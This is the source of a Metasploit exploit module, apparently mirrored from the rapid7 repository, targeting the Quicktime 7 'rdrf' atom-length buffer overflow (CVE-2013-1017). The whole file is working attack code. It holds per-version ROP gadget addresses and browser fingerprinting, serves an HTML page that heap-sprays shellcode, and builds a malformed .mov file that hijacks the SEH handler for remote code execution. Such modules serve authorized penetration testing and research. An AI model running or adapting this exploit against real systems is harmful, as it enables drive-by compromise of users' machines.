CoCalc -- apple_quicktime

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/apple_quicktime_rdrf.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  include Msf::Exploit::RopDb
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => "Apple Quicktime 7 Invalid Atom Length Buffer Overflow",
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        'Description' => %q{
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          This module exploits a vulnerability found in Apple Quicktime. The flaw is
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          triggered when Quicktime fails to properly handle the data length for certain
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          atoms such as 'rdrf' or 'dref' in the Alis record, which may result a buffer
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          overflow by loading a specially crafted .mov file, and allows arbitrary
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          code execution under the context of the current user.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Jason Kratzer', # Original Discovery & PoC (overlapped finding), aka pyoor
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          'Tom Gallagher', # Original Discovery (overlapped)
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          'Paul Bates',    # Original Discovery (overlapped)
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          'sinn3r'         # Metasploit
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        ],
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        'References' => [
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          [ 'CVE', '2013-1017' ],
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          [ 'OSVDB', '93625' ],
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          [ 'BID', '60097' ],
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          [ 'URL', 'http://support.apple.com/kb/HT5770' ],
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          [ 'ZDI', '13-110' ]
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        ],
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        'Platform' => 'win',
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        'Targets' => [
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          # All of the following addresses are from Quicktime.qts
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          # RET = ADD ESP,280; RET, Nop = RET, Pop = POP ESP; RET
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          [ 'Quicktime 7.7.3 with IE 8 on Windows XP SP3', { 'Ret' => 0x66923467, 'Nop' => 0x6692346d, 'Pop' => 0x66849239 } ],
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          [ 'Quicktime 7.7.2 with IE 8 on Windows XP SP3', { 'Ret' => 0x669211C7, 'Nop' => 0x669211CD, 'Pop' => 0x668C5B55 } ],
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          [ 'Quicktime 7.7.1 with IE 8 on Windows XP SP3', { 'Ret' => 0x66920D67, 'Nop' => 0x66920D6D, 'Pop' => 0x66849259 } ],
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          [ 'Quicktime 7.7.0 with IE 8 on Windows XP SP3', { 'Ret' => 0x66920BD7, 'Nop' => 0x66920BDD, 'Pop' => 0x668E963A } ]
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        ],
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        'Payload' => {
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          'BadChars' => "\x00" # js_property_spray no like nilz
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        },
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        'DefaultOptions' => {
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
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        },
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        'Privileged' => false,
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        'DisclosureDate' => '2013-05-22',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def get_payload(t)
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    alignment = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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    p = generate_rop_payload('msvcrt', alignment + payload.encoded, { 'target' => 'xp' })
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    return p
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  end
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  def targetable?(agent)
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    if agent =~ /MSIE 8\.0/ and agent =~ /Windows NT 5\.1/
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      return true
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    elsif agent =~ /contype/
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      # contype: a mov file request from Apple Quicktime
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      return true
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    end
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    false
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  end
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  def get_html(t)
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    js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
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    fake_mov_name = rand_text_alpha(4) + ".mov"
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    html = %Q|
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    <html>
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    <head>
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    <script>
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    #{js_property_spray}
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    var s = unescape("#{js_p}");
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    sprayHeap({shellcode:s});
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    </script>
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    </head>
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    <body>
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    <embed src="#{get_resource}/#{fake_mov_name}" width="0" height="0"></embed>
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    </body>
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    </html>
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    |
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    html.gsub(/^ {4}/, '')
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  end
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  def on_request_uri(cli, request)
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    agent = request.headers['User-Agent']
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    print_status("Requesting: #{request.uri}")
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    unless targetable?(agent)
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      print_error("Browser not supported, sending 404: #{agent}")
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      send_not_found(cli)
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      return
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    end
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    print_status("Target selected as: #{target.name}") if target
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    if request.uri =~ /\.mov$/
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      print_status("Sending specially crafted .mov file")
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      send_response(cli, @exploit, { 'Content-Type' => 'application/octet-stream' })
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    else
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      html = get_html(target)
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      send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache' })
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    end
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  end
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  def sort_bytes(data)
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    data.map { |e| [e].pack('N').scan(/../).reverse.join }.join
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  end
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  def rop_nop(t)
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    [t['Nop']].pack('V*')                    # Ret (QuickTime.qts)
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  end
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  def exploit
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    buf = ''
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    buf << rand_text_alpha(467)              # 467 to align the pivot
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    10.times {
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      buf << rop_nop(target)
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    }
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    buf << [
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      target['Pop'],                       # POP ESP; RET (QuickTime.qts)
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      0x20302020                           # Target value for ESP (our ROP payload)
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    ].pack('V*')
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    buf << rand_text_alpha(611 - buf.length) # Offset 611 to hit SE Handler
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    buf << sort_bytes([target.ret])          # ADD ESP,280; RET (QuickTime.qts) - pivot
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    buf << rand_text_alpha(658 - buf.length) # 658 bytes to pad up the mov file size
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    # Quicktime File Format Specifications:
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    # https://developer.apple.com/standards/qtff-2001.pdf
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    mov = "\x00\x00\x06\xDF" # File size
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    mov << "moov"                            # Movie atom
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    mov << "\x00\x00\x06\xD7"                # size (1751d)
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    mov << "rmra"                            # Reference Movie atom
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    mov << "\x00\x00\x06\xCF"                # size (1743d)
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    mov << "rmda"                            # rmda atom
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    mov << "\x00\x00\x06\xBF"                # size (1727d)
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    mov << "rdrf"                            # Data reference atom
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    mov << "\x00\x00\x00\x00"                # size set to 0
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    mov << "alis"                            # Data reference type: FS alias record
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    mov << "\x00\x00\x06\xAA"                # Size (1706d)
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    mov << rand_text_alpha(8)
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    mov << "\x00\x00\x06\x61"                # Size (1633d)
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    mov << rand_text_alpha(38)
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    mov << "\x12"
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    mov << rand_text_alpha(81)
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    mov << "\xFF\xFF"
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    mov << rand_text_alpha(18)
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    mov << "\x00\x08"                        # Size (8d)
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    mov << rand_text_alpha(8)
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    mov << "\x00\x00"
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    mov << "\x00\x08"                        # Size (8d)
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    mov << rand_text_alpha(8)
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    mov << "\x00\x00"
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    mov << "\x00\x26"                        # Size (38d)
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    mov << rand_text_alpha(38)
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    mov << "\x00\x0F\x00\x0E"
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    mov << "AA"                              # Size (must be invalid)
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    mov << rand_text_alpha(12)
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    mov << "\x00\x12\x00\x21"
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    mov << rand_text_alpha(36)
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    mov << "\x00"
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    mov << "\x0F\x33"
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    mov << rand_text_alpha(17)
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    mov << "\x02\xF4"                        # Size (756h)
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    mov << rand_text_alpha(756)
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    mov << "\xFF\xFF\x00\x00\x00"
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    mov << buf
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    @exploit = mov
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    super
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  end
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end
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